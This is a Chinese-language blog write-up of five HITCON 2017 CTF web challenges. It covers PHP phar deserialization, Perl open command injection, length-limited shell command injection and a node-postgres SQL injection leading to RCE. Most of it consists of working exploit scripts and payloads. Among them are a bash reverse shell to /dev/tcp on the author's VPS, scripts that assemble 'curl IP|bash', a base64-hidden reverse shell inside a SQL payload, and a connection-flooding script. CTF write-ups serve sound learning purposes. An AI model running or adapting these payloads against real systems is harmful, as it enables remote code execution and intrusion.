2017HTICON 题解

youncyb 发布于 2018-08-31 4687 次阅读 CTFwriteup


1.baby^h-master-php-2017

  • 0x01题目描述

打开http://117.50.3.97:8005得到一段php代码,又回到我们最爱的php代码审计:

</pre>
&lt;?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
        $this-&gt;avatar = $path;
    }
}

class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
        die("Bye Bye");
    }

    $data = unserialize($data);
    if (!isset($data-&gt;avatar)) {
        die("Bye Bye Bye");
    }

    return $data-&gt;avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session());
} else if ($mode == "show") {
    show(check_session());
} else {
    highlight_file(__FILE__);
}

代码思路大概如此:
1.m=upload进入上传模块,会先运行check_session()这个函数第42行$data=unserialize($data),有个反序列化,反序列化对象时会自动调用 __destruct(),结合第21行的Admin类,可知只要我们构造出Admin的序列化对象并将其赋值给$data,那么就可以拿到flag。
2.跟踪第五十行upload函数,发现传入可控变量url,传入url=http://ip,便会自动将http://ip/avatar.gif写入到$SANDBOX这个工作目录下。
3.现在我们只需要改变$data的值就可以了,根据代码第32行$data = $_COOKIE["session-data"]和第51行 $data = file_get_contents($_GET["url"] . "/avatar.gif");  两种方式去改变$data的值,第一种直接改变cookie的"session-data",
但由于 check_session()会用hash_hmac进行消息认证码的比较,所以第一种方法失败;
第二种方法涉及到一个知识点: Phar协议会将metadata(元数据) 自动序列化,如:我们可构造如下php代码

<?php
error_reporting(0);
class Admin {
	public $avatar = 'orz';  
} 
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

可看到admin已经被序列化了。

  • 0x02payload构造

将avatar.gif放在你vps上,提交http://117.50.3.97:8005/?m=upload&url=http://ip即可成功将avatar上传到$SANDBOX目录下,但读取flag的是
create_function()函数,这个函数会创造一个匿名函数,所以我们必须得将这个匿名函数名找到,将之传给lucky参数,这又涉及到一个知识点:
根据php源码:https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914

     

匿名函数会被设置为\x00lambda_%d ,这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

        fork.py代码如下:

# coding: UTF-8
# Author: [email protected]
#

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass


def run(i):
    while 1:
        HOST = '117.50.3.97'
        PORT = 8005
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall(
            'GET / HTTP/1.1\nHost: 117.50.3.97\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)


i = 8
pool = ThreadPool(i)
result = pool.map_async(run, range(i)).get(0xffff)

通过fork.py将%d刷新为1后,我们便可通过
http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/42d40d363fa3ab252e59e4bb0b2b11b6&lucky=%00lambda_1
得到flag。

2.ssrfme

  • 0x01题目分析

  

这道题考的是一个GET的命令执行漏洞,GET在底层调用的时perl的open函数,open函数可以执行命令

成功执行id命令,并且还支持file协议,在/usr/share/perl5/LWP.pm中:

   但是file存在一个前提,便是文件必须存在,恰好源码中有写文件的操作,所以我们思路便出来了:

       1.通过filename参数创建一个文件名为可执行命令的文件。

               2.通过url参数去访问这个文件即可成功执行命令。

3.此时$data中便是flag,根据源码,会将$data写入$filename文件。

  • 0x02payload构造

http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|
http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=flag
http://117.50.3.97:8004/sandbox/42d40d363fa3ab252e59e4bb0b2b11b6/flag

3.babyfirst-revenge

  • 0x01题目描述

通过exec函数我们可以执行由cmd参数接收的命令,比如:cmd=whoami,但是这里有一个限制:cmd参数的长度必须要小于等于5,这样我们就不能执行ls -t>g

这样的命令,并且exec是没有回显的,所以我们也看不到命令执行的结果,这里的思路只有只有通过重定向符">"写入文件中,进而执行命令。但由于长度的限制,我们可执行的命令少之又少。不过查阅资料发现,linux下,可以通过将命令写入文件,并用"\"来拼接命令,如:

这样我们便在"  _ "  这个文件中生成ls -t>g 这个命令,让我们看一看" _ "  中的内容:

虽然,里面不完全是shell指令,但这并不妨碍我们执行正确的指令 ls -t>g:

成功执行ls -t>g。并且ls -t的作用就是按照时间先后顺序将内容写进文件,这样我们就不用费劲的去构造payload。

  • 0x02 payload 构造
    既然可以成功的将内容写进文件,那么我们便可以反弹一个bash shell(也可以用其他的方法),在你的vps上放上(要有web应用如apache等):
bash -i >& /dev/tcp/118.89.48.29/999 0>&1

并命名为index.html。之后我们便可以通过脚本:

</pre>
# written by python3.5
# -*- coding:utf-8 -*-
import requests
import time
from urllib.parse import quote
s = requests.Session()
url = "http://117.50.3.97:8001"
data = [
# 产生 ls -t>g
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>g",
"ls>>_",
# 产生 curl 118.89.48.29|bash ip为10进制表示
">sh",
">ba\\",
">\|\\",
">09\\",
">65\\",
">55\\",
">85\\",
">19\\",
">\ \\",
">rl\\",
">cu\\",
# 执行命令
"sh _",
"sh g"
]

req = s.get(url + "?reset=1")
for i in data:
assert len(i) <= 5
req = s.get(url + "?cmd=" + quote(i))
print(i)
time.sleep(0.5)
<pre>
成功反弹shell:

  • 0x03这道题面临的小坑

1.在生成文件时不能有“ . "作为文件的开头,因为" . "在linux中是隐藏文件,假如生成了.4\这个文件   那么   ls -t>g  是不会将.4\写进g文件中。
2.在生成文件时,ip地址可能会有重复的文件,也会导致文件写入错误,如你的ip是118.89.48.29,假如同时生成两个" 8.\ "文件那么只有一个存在。
3.在curl ip时最好换成十进制的ip,因为如我的域名:curl www.youncyb.cn|bash,将不会执行index.html文件,原因不太清除,反正会报一个"|"语法错误。
4.虚拟机上测试ls排序和vps上测试排序(以vps为准)是不一样的,具体原因不明。

4.babyfirst-revenge-v2

  • 0x01题目描述

此题是上一题的进化版,限制cmd的长度为4,这样我们同构上面的办法写ls -t>g是行不通的,因为ls>>_已经超过了4位,所以得另寻他法,查阅资料发现
linux下*可以执行命令:

成功执行echo  hello,这样我们便可以试着构造ls -t>g这样的命令,如:

这里注意到,我们为什么不生成ls -t   而要生成ls -th呢,因为:dir命令是按照字母表顺序将文件,如上图所示,我生成了t-文件,那么t排在s前面,导致最后写入文件v中的便是" g> sl t-" 那么通过rev命令反过来:"-t ls >g" 这样便不是ls -t>g 命令。最后可以看到,我们成功的将ls -th>g 写入了文件x。后面的步骤就是babyfirst-revenge一样的操作了。

  • 0x02 payload构造

# written by python3.5
# -*- coding:utf-8 -*-
import requests
from time import sleep
from urllib.parse import quote

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir',
    '>sl',
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl 118.89.48.29|bash;"
    ">sh",
    ">ba\\",
    ">\|\\",
    ">09\\",
    ">65\\",
    ">55\\",
    ">85\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\",

    # got shell
   'sh x',
   'sh g',
]

r = requests.get('http://117.50.3.97:8002/?reset=1')
for i in payload:
   assert len(i) <= 4
   r = requests.get('http://117.50.3.97:8002/?cmd=' + quote(i))
   print(i)
   sleep(0.1)

5.sql-so-hard

  • 0x01题目描述

</pre>
#!/usr/bin/node

/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});

const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();

const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]

function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}

const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})

app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}

var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}

if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}

return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}

});
});

});

app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

}
return res.end(html);
});

});

app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}

password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});

app.listen(31337, () => {
console.log("Listen OK");
});
<pre>
(这个题i春秋的已经烂了,我给他们客服反应过好久了,到现在还没修,所以只好自己搭一个环境,文中所有参考资料会在最后放出)
拿到源码,发现是个node.js写的后台,大概有这些功能:
1.all是个waf,会对一些敏感字符防御,将你的ip加入黑名单中。
2.get,也就是我们打开网页时进行的操作,会查询你的ip是否在黑名单中,然后输出一些限制信息。
3.post,这是操作会将我们的username和password插入数据库中。
4.连接了两个数据库,第一个msyql,第二个postgresql,黑名单是存储在mysql中,username和password是存储在postgresql里。
暂时看起来,好像就只有post插入postgresql可以搞点事情,查阅资料发现:node.js和postgresql有一个命令执行漏洞,可以通过这个漏洞拿到webshell。
这里给上p牛的博客分析:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
有了这个基础后我们再来看,这道题:
1.命令执行会有" 空格 * / \" 等符号,这些符号在waf中会进行限制,必须得绕过。
2.insert没有数据返回,不能像select那样查看数据。
对于这两个问题,在查阅资料后发现:
1.mysql的insert操作是有长度限制的。

2.在postgresql中,insert语句可以有retruning参数,可以返回一个结果:
  • 0x02payload构造

# written by python3.5
# -*- coding:utf-8 -*-
import requests

payload = """','')/*{}*/returning 1 AS "\\'/*", 1 AS "\\'*/+(p=`child_process`)/*",2 AS "\\'*/+(b=`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xM`+/*",3 AS "\\'*/`TguODkuNDguMjkvOTk5IDA+JjE=|base64 -d|bash`)/*",4 AS "\\'*/+console.log(process.mainModule.require(p).exec(b))]=1//"--""".format(
    ' ' * 1024 * 1024 * 16)
data = {
    'username': str(10242 * 10) + payload,
    'password': 'youncyb'
}

url = "http://192.168.239.128:1234/reg"
# print(data)
req = requests.post(url, data=data)
print(req.text)

即可成功反弹shell:

5.参考资料